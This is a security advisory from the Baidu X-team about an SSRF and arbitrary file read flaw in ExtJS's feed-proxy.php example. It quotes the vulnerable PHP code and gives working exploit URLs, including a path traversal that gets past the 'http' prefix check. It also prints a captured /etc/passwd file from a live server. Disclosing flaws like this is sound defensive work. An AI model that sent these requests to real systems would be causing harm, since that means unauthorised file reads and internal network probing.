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Hi all?? Baidu Security Team found a vulnerability in extjs,with this vulnerability we can read arbitrary file and request internal http services File: /examples/feed-viewer/feed-proxy.php line:3-line:6 $feed = $_REQUEST['feed']; if($feed != '' && strpos($feed, 'http') === 0){ header('Content-Type: text/xml'); $xml = file_get_contents($feed); When we request like this url http://dev.sencha.com/extjs/5.0.0/examples/feed-viewer/feed-proxy.php?feed=http://10.1.1.1 if the resource exist,we can get internal http services info ??strpos($feed, 'http') === 0?? we can request this url to bypass the restrictions achieve arbitrary file read http://dev.sencha.com/extjs/5.0.0/examples/feed-viewer/feed-proxy.php?feed=http/../../../../../../../../../../../etc/passwd view the HTML source code root:x:0:0:Web-useast4 root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:Web-useast4 www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false landscape:x:103:108::/var/lib/landscape:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash ntp:x:105:111::/home/ntp:/bin/false snmp:x:106:112::/var/lib/snmp:/bin/false statd:x:107:65534::/var/lib/nfs:/bin/false postfix:x:108:114::/var/spool/postfix:/bin/false Submitter: zhanghao@Baidu X-team gaojianfeng@Baidu X-team shitong@Baidu X-team ________________________________ Id:Yaseng Hi: Hisengberg Team: Baidu X-team E-mail:gaojianfeng@baidu.com<mailto:gedongyu@baidu.com> [tips] Source: http://dl.packetstormsecurity.net/1505-exploits/extjs-disclose.txt
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